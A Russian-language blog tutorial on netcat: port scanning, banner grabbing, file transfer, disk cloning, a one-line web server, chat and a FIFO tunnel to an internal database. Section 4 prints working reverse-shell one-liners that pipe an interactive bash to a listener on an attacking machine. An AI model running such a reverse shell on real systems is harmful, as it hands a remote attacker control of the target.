Флаг: English English Флаг: Español Español

Netcat: это не просто Telnet. Это сетевой скотч и магия

Опубликовано 28.11.2025

Если бы меня отправили на необитаемый цифровой остров и разрешили взять всего одну сетевую утилиту — я бы без колебаний выбрал Netcat.

Официальная документация (man nc) сухо сообщает: «утилита для чтения и записи по сетевым соединениям через TCP или UDP».
На деле это швейцарский нож сетевого инженера, который заменяет десятки специализированных программ.

В статье используются примеры для OpenBSD netcat — именно он стоит по умолчанию в Ubuntu 20.04+, Debian 10+, Fedora, Arch, Alpine и большинстве современных дистрибутивов.


1. Диагностика: лучше, чем ping

ping проверяет только ICMP. Netcat проверяет именно тот сервис, который вам нужен.

Тихое сканирование портов

nc -zv 192.168.1.10 20-80
nc -zv example.com 80 443 22
  • -z — не отправлять данные, только проверять соединение
  • -v — подробный вывод
  • -w 3 — таймаут 3 секунды (рекомендую добавлять)

Ручное общение с сервисами (banner grabbing)

printf "HEAD / HTTP/1.0\r\n\r\n" | nc -w 3 google.com 80
echo "QUIT" | nc -w 3 smtp.gmail.com 25

2. Передача файлов и клонирование дисков

Нет scp, rsync или USB-флешки? Netcat в помощь.

Простая передача файла

Приём:

nc -l -p 9899 > backup.iso

Отправка:

nc 192.168.1.10 9899 < backup.iso

Клонирование диска по сети со сжатием (очень быстро)

Приём:

nc -l -p 9899 | pigz -dc | sudo dd of=/dev/sdb bs=4M status=progress

Отправка:

sudo dd if=/dev/sda bs=4M status=progress | pigz -1 | nc -l 9899

Если pigz нет — замените на gzip, но будет медленнее.


3. MacGyver-style: однострочники, от которых челюсть падает

Веб-сервер за 5 секунд (работает стабильно)

while true; do
  echo -e "HTTP/1.1 200 OK\r\nContent-Type: text/html\r\n\r\n<h1>It works!</h1>" | \
  nc -l -p 8080 -q 1
done

Или с отдачей реального файла:

while true; do cat response.txt | nc -l 127.0.0.1 8080 -q 1; done

Простой чат-сервер

Сервер:

nc -l -p 7777

Клиент:

nc 192.168.1.10 7777

Пишите друг другу — всё в реальном времени.

Прокси/TCP-туннель через один порт (через FIFO)

mkfifo /tmp/backpipe
nc -l 8080 < /tmp/backpipe | nc database.internal 5432 > /tmp/backpipe

Теперь всё, что придёт на ваш 8080 порт — улетит на внутренний PostgreSQL.


4. Reverse shell без флага -e (работает на OpenBSD netcat)

Важно: современный OpenBSD netcat не содержит флага -e по соображениям безопасности (в отличие от старого GNU netcat).

Рабочий и полностью совместимый способ в 2025 году:

На атакующей машине (слушаем):

nc -lvkp 4444

На целевой машине (одной строкой):

rm /tmp/f; mkfifo /tmp/f
cat /tmp/f | /bin/bash -i 2>&1 | nc 10.0.0.1 4444 >/tmp/f

Или ещё короче через mknod:

mknod /tmp/p p
/bin/bash -i < /tmp/p 2>&1 | nc 10.0.0.1 4444 >/tmp/p

Получаете полноценную интерактивную оболочку.


5. Когда netcat мало — берите Ncat или Socat

  • Ncat (из пакета Nmap) — поддерживает -e, SSL, прокси, несколько клиентов одновременно
  • Socat — ещё мощнее, но сложнее в синтаксисе

Установка:

# Ncat
sudo apt install nmap    # уже содержит ncat

# Socat
sudo apt install socat

Итог

Netcat — это воплощение философии Unix:
«Делай одну вещь и делай её идеально» — просто перекачивай байты из точки А в точку Б.
А уж во что эти байты превратятся — зависит только от вашей фантазии и знаний stdin/stdout.

Попробуйте сегодня же передать файл с ноутбука на телефон через Termux.
После этого вы уже никогда не будете смотреть на nc как на «ещё один telnet».

Отзывы по теме

Было несколько проблем касаясь как технической части так и понимания в целом. Михаил быстро ответил на запрос, помог разобраться и решил проблеммы технические и помог разобраться в понимании, за что отдельное спасибо. Результатом доволен.

abazawolf · Настройка vps, настройка сервера

18.02.2026 · ⭐ 5/5

Было несколько проблем касаясь как технической части так и понимания в целом. Михаил быстро ответил на запрос, помог разобраться и решил проблеммы технические и помог разобраться в понимании, за что отдельное спасибо. Результатом доволен.

Нужна помощь?

Свяжись со мной и я помогу решить проблему

Похожие посты